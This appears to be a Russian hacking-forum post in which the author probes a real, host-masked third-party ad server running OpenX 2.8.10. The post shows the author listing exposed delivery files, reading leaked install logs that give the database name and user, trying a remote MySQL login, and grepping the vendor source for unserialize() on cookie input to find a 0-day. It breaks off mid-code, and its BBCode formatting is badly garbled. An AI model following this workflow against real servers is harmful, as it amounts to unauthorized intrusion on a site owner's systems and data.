Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   OpenX 0-day - Последняя версия (https://forum.antichat.xyz/showthread.php?t=366453)

XAMEHA 25.12.2012 06:33

Во время посещения hostingkartinok.com - хостинга картинок, я наткнулся на сервер ***, предлагающий мне заработать денег. А почему бы не заработать?

Начинем зарабатывать:

*** - Apache/2.2.15 (CentOS) Server - PHP/5.3.3

Реф-ссылки:

http://***/ox/www/delivery/ck.php?oaparams=2__bannerid=46__zoneid=7__cb=0b76e 8e599__oadest=http%3A%2F%2Fwww.metod-deneg.com%2Fic%2Fhkart%2F%3Futm_source%3Dhostkart% 26utm_medium%3Dbanner%26utm_campaign%3Deuropa80

http://***/ic/hkart/?utm_source=hostkart&utm_medium=banner&utm_campaig n=europa80

Серверная страница:

http://***/ - Apache 2 Test Page

OpenX Panel(Открывается при переходе на http://***/ox/):

http://***/ox/www/admin/index.php

http://***/ox/www/delivery/ - Мы имеем листинг файлов c указанием размера каждого файла, и мы можем попробовать найти эти скрипты в интернете, если это публичная партнерка и т.п.:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ac[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 144K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]afr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 146K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ag[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 100K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ai[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 101K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ajs[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 146K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]al[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 145K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]alocal[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 145K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]apu[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 146K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]avw[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 144K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ax[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 145K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]axmlrpc[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 158K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ck[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 106K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]crossdomain[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]xml 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 199

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]dxmlrpc[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 101K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]fc[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 2.9K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]fl[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]js 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 6.5K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]lg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 105K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]robots[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]txt 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 305

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]spc[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 145K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]spcjs[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 105K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]ti[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 101K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]tjs[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 102K

[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]TXT[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#0000BB"]tv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php 12[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Sep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2012 23[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]00 100K

[/COLOR][/COLOR

http://***/ox/www/delivery/crossdomain.xml:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR]



[/COLOR

robos.txt:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]# This robots.txt file requests that search engines and other

# automated web-agents don't try to index the files in this

# directory (/www/delivery/). This file is required in the

# event that you use OpenX with virtual domains, and have one

# set up for the delivery interface.

[/COLOR][COLOR="#0000BB"]User[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]agent[/COLOR][COLOR="#007700"]: *

[/
COLOR][COLOR="#0000BB"]Disallow[/COLOR][COLOR="#007700"]: /

[/
COLOR][/COLOR

На этом я начинаю догаыватся, что OpenX - не система управления сервером, как cPanel, а что-то другое. Скачиваем, только вот версию мы пока не знаем, однако файлы размещены 12-Sep-2012, и мы можем приблизительно выбрать нужную нам версию.

Находим инфу на рдоте и античате, однако скорее всего эксплоиты не актуальны:

https://rdot.org/forum/showthread.php?t=70

/threadnav150144-3-10.html

OpenX.org

И неразработанную уязвимость:

https://rdot.org/forum/showpost.php?p=27517&postcount=8

Нам нужно узнать версию. Так, заходим на http://download.openx.org/, имеем версии от 2012-05-08 и 2012-09-19, нам подходит первая. Скачиваем.

Уже лучше, у нас есть исходники. Сразу-же замечаем файл RELEASE_NOTES.txt.

Так: http://***/ox/RELEASE_NOTES.txt

What's New in OpenX 2.8.10

----------------------------

* Release date: 2012-09-12

Не угадали Скачиваем OpenX 2.8.10. У нас имеется последняя версия, похоже придется искать уязвимости самому.

Что мы имеем? Руки, сервер и 48,9 МБ исходников.

В некоторых файлах код очень кривой, значит где-то поблизости есть уязвимость:

Получение хоста:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]OX_getHostName[/COLOR][COLOR="#007700"]()

{

if (!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

}
else if (!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'SERVER_NAME'[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'SERVER_NAME'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

}

return[/
COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"];

}

[/
COLOR][/COLOR

Примерно одинаковых 100 Кб функций находится практически во всех файлах. Попробуем найти моменты, где используется функция OX_getHostName():

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]grep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]rnw[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#DD0000"]"OX_getHostName()"[/COLOR][COLOR="#007700"]~/[/COLOR][COLOR="#0000BB"]Загрузки[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/

[/
COLOR][/COLOR

Вроде-бы ничего полезного нет, исходя из того, что версия PHP 5.3.3. Основная часть кривого кода распологается в OpenX/www/delivery, востанавливаем форматирование файлов с помощью http://beta.phpformatter.com/. Мгновение - и перед нами читабильный код.

Копаем дальше, находим логи:

http://***/ox/var/debug.log

http://***/ox/var/install.log

http://***/ox/var/cache/ - Полная папка с чем-то.

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]Installation started 2012[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]23 03[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]19[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]13

Attempting to connect to database ox with user ox

Connected to database ox

Database settings
[/COLOR][COLOR="#007700"]and[/COLOR][COLOR="#0000BB"]permissions are OK

creating upgrade_action audit table

successfully created upgrade_action audit table

creating database_action audit table

successfully created database_action audit table

schema definition from cache TRUE

Installation created the core tables

Installation updated the schema version to 613

Installation updated the application version to 2.8.10

Preparing to set timezone preference
[/COLOR][COLOR="#007700"]...

[/
COLOR][COLOR="#0000BB"]Found timezone preference ID of 16

Found the admin account
[/COLOR][COLOR="#DD0000"]'s timezone association, updating preference...

Updated the admin account timezone preference to: '
[/COLOR][COLOR="#0000BB"]Europe[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]Moscow[/COLOR][COLOR="#DD0000"]'

Starting file-check for plugins...

Finished file-check for plugins

Starting file-check for plugins...

Finished file-check for plugins

Starting file-check for plugins...

Finished file-check for plugins

[/COLOR][/COLOR] 

Имя БД: ox

Пользователь: ox

Пароля нет, но пробуем подключится удаленно:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]ERROR 1130[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HY000[/COLOR][COLOR="#007700"]):[/COLOR][COLOR="#0000BB"]Host[/COLOR][COLOR="#DD0000"]'**'[/COLOR][COLOR="#0000BB"]is not allowed to connect to this MySQL server

[/COLOR][/COLOR

Увы. Придется иследовать объемные исходники огромной CMS последней версии, делать больше нечего. N-Дней исследований дали свои труды. Сразу скажу, что я исследовал много файлов и писать обо всем не имеет смысла. Искать что-то в таком объеме файлов - полное безумие, и я решил попробовать найти что-то нестандартное с помощью grep.

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]grep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]rnw[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#DD0000"]"unserialize"[/COLOR][COLOR="#007700"]~/[/COLOR][COLOR="#0000BB"]Загрузки[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/

...

~/[/
COLOR][COLOR="#0000BB"]Загрузки[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]delivery[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]ck[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]3156[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]$aVars[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]stripslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'vars'[/COLOR][COLOR="#007700"]]][[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]]));

...

[/
COLOR][/COLOR

К истине уже ближе.

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]
[/
COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]MAX_querystringConvertParams[/COLOR][COLOR="#007700"]()

{

[/
COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$GLOBALS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'_MAX'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'CONF'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$dest[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$destStr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$destStr[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$destStr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'dest='[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$destStr[/COLOR][COLOR="#007700"]);

}

if ([/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$dest[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$destStr[/COLOR][COLOR="#007700"])));

[/
COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"]= array();

[/
COLOR][COLOR="#0000BB"]$paramStr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'params'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$paramPos[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$paramStr[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$paramPos[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$paramPos[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$paramStr[/COLOR][COLOR="#007700"])));

[/
COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]};

if ([/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]MAX_querystringParseStr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$delim[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$qPos[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]]) ?[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]],[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"]) :[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$aPos[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]]) ?[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]],[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"]) :[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

if ([/COLOR][COLOR="#0000BB"]$aPos[/COLOR][COLOR="#007700"]&& ![/COLOR][COLOR="#0000BB"]$qPos[/COLOR][COLOR="#007700"]) {

[/
